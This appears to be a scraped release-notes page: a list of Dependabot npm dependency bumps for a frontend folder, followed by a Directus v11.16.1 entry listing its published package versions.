  • be94f35: npm-dep: bump @eslint/js from 9.39.2 to 9.39.3 in /frontend (@dependabot[bot])
  • 84a362a: npm-dep: bump @eslint/js from 9.39.3 to 9.39.4 in /frontend (@dependabot[bot])
  • 9f00286: npm-dep: bump @inlang/cli from 3.1.6 to 3.1.7 in /frontend (@dependabot[bot])
  • 91eab52: npm-dep: bump @inlang/paraglide-js from 2.11.0 to 2.12.0 in /frontend (@dependabot[bot])
  • 06b4626: npm-dep: bump @inlang/paraglide-js from 2.12.0 to 2.13.0 in /frontend (@dependabot[bot])
  • 969ded6: npm-dep: bump @inlang/paraglide-js from 2.13.0 to 2.13.1 in /frontend (@dependabot[bot])
  • f794681: npm-dep: bump @inlang/paraglide-js from 2.13.1 to 2.13.2 in /frontend (@dependabot[bot])
  • 0acba76: npm-dep: bump @inlang/paraglide-js from 2.13.2 to 2.14.0 in /frontend (@dependabot[bot])
  • 5c5b908: npm-dep: bump @inlang/paraglide-js from 2.14.0 to 2.15.0 in /frontend (@dependabot[bot])
  • e4ab3c3: npm-dep: bump @sveltejs/kit from 2.51.0 to 2.52.0 in /frontend (@dependabot[bot])
  • 0bead88: npm-dep: bump @sveltejs/kit from 2.52.0 to 2.52.2 in /frontend (@dependabot[bot])
  • 1e168d4: npm-dep: bump @sveltejs/kit from 2.52.2 to 2.53.0 in /frontend (@dependabot[bot])
  • ad36a40: npm-dep: bump @sveltejs/kit from 2.53.0 to 2.53.1 in /frontend (@dependabot[bot])
  • ebd3e01: npm-dep: bump @sveltejs/kit from 2.53.1 to 2.53.3 in /frontend (@dependabot[bot])
  • c57adf8: npm-dep: bump @sveltejs/kit from 2.53.3 to 2.53.4 in /frontend (@dependabot[bot])
  • e09b968: npm-dep: bump @sveltejs/kit from 2.53.4 to 2.54.0 in /frontend (@dependabot[bot])
  • b39857b: npm-dep: bump @sveltejs/kit from 2.54.0 to 2.55.0 in /frontend (@dependabot[bot])
  • 01dcca3: npm-dep: bump @tailwindcss/postcss from 4.1.18 to 4.2.0 in /frontend (@dependabot[bot])
  • 81e252b: npm-dep: bump @tailwindcss/postcss from 4.2.0 to 4.2.1 in /frontend (@dependabot[bot])
  • d6604b2: npm-dep: bump @tailwindcss/postcss from 4.2.1 to 4.2.2 in /frontend (@dependabot[bot])
  • 835f5b9: npm-dep: bump daisyui from 5.5.18 to 5.5.19 in /frontend (@dependabot[bot])
  • a2d6d73: npm-dep: bump eslint from 9.39.2 to 9.39.3 in /frontend (@dependabot[bot])
  • 3bf1ba5: npm-dep: bump eslint from 9.39.3 to 9.39.4 in /frontend (@dependabot[bot])
  • 29c99ed: npm-dep: bump eslint-plugin-svelte from 3.15.0 to 3.15.1 in /frontend (@dependabot[bot])
  • faeed49: npm-dep: bump eslint-plugin-svelte from 3.15.1 to 3.15.2 in /frontend (@dependabot[bot])
  • e6d2992: npm-dep: bump postcss from 8.5.6 to 8.5.8 in /frontend (@dependabot[bot])
  • cea0136: npm-dep: bump prettier-plugin-svelte from 3.4.1 to 3.5.0 in /frontend (@dependabot[bot])
  • b09510f: npm-dep: bump prettier-plugin-svelte from 3.5.0 to 3.5.1 in /frontend (@dependabot[bot])
  • 28ef84d: npm-dep: bump svelte from 5.50.3 to 5.51.2 in /frontend (@dependabot[bot])
  • 58136f2: npm-dep: bump svelte from 5.51.2 to 5.51.3 in /frontend (@dependabot[bot])
  • 0b7c4a6: npm-dep: bump svelte from 5.51.3 to 5.53.0 in /frontend (@dependabot[bot])
  • d99d19b: npm-dep: bump svelte from 5.53.0 to 5.53.3 in /frontend (@dependabot[bot])
  • 88d333d: npm-dep: bump svelte from 5.53.10 to 5.53.11 in /frontend (@dependabot[bot])
  • ed83590: npm-dep: bump svelte from 5.53.11 to 5.53.12 in /frontend (@dependabot[bot])
  • 2e69ba9: npm-dep: bump svelte from 5.53.12 to 5.54.0 in /frontend (@dependabot[bot])
  • 4f1ec6c: npm-dep: bump svelte from 5.53.3 to 5.53.5 in /frontend (@dependabot[bot])
  • d6300e8: npm-dep: bump svelte from 5.53.5 to 5.53.6 in /frontend (@dependabot[bot])
  • 07d7bec: npm-dep: bump svelte from 5.53.6 to 5.53.7 in /frontend (@dependabot[bot])
  • 78068c1: npm-dep: bump svelte from 5.53.7 to 5.53.9 in /frontend (@dependabot[bot])
  • 1273d1b: npm-dep: bump svelte from 5.53.9 to 5.53.10 in /frontend (@dependabot[bot])
  • f299c9d: npm-dep: bump svelte-check from 4.3.6 to 4.4.0 in /frontend (@dependabot[bot])
  • 6819248: npm-dep: bump svelte-check from 4.4.0 to 4.4.1 in /frontend (@dependabot[bot])
  • 2d55e9f: npm-dep: bump svelte-check from 4.4.1 to 4.4.3 in /frontend (@dependabot[bot])
  • 13a06a5: npm-dep: bump svelte-check from 4.4.3 to 4.4.4 in /frontend (@dependabot[bot])
  • cddad0f: npm-dep: bump svelte-check from 4.4.4 to 4.4.5 in /frontend (@dependabot[bot])
  • 745094b: npm-dep: bump tailwindcss from 4.1.18 to 4.2.0 in /frontend (@dependabot[bot])
  • db528a9: npm-dep: bump tailwindcss from 4.2.0 to 4.2.1 in /frontend (@dependabot[bot])
  • 611c4d2: npm-dep: bump tailwindcss from 4.2.1 to 4.2.2 in /frontend (@dependabot[bot])
  • e997211: npm-dep: bump typescript-eslint from 8.55.0 to 8.56.0 in /frontend (@dependabot[bot])
  • 7498a69: npm-dep: bump typescript-eslint from 8.56.0 to 8.56.1 in /frontend (@dependabot[bot])
  • 0766482: npm-dep: bump typescript-eslint from 8.56.1 to 8.57.0 in /frontend (@dependabot[bot])
  • 52f00c4: npm-dep: bump typescript-eslint from 8.57.0 to 8.57.1 in /frontend (@dependabot[bot])

Github Actions

  •  

v11.16.1

✨ New Features & Improvements

  • @directus/system-data
  • @directus/ai

πŸ› Bug Fixes & Optimizations

πŸ“¦ Published Versions

  • @directus/app@15.5.1
  • @directus/api@34.0.1
  • @directus/ai@1.3.0
  • @directus/composables@11.2.15
  • create-directus-extension@11.0.31
  • @directus/env@5.6.1
  • @directus/extensions@3.0.21
  • @directus/extensions-registry@3.0.21
  • @directus/extensions-sdk@17.0.11
  • @directus/memory@3.1.4
  • @directus/pressure@3.0.19
  • @directus/schema-builder@0.0.16
  • @directus/storage-driver-azure@12.0.19
  • @directus/storage-driver-cloudinary@12.0.19
  • @directus/storage-driver-gcs@12.0.19
  • @directus/storage-driver-s3@12.1.5
  • @directus/storage-driver-supabase@3.0.19
  • @directus/system-data@4.3.0
  • @directus/themes@1.2.6
  • @directus/types@14.3.1
  • @directus/utils@13.3.1
  • @directus/validation@2.0.19

  •  
❌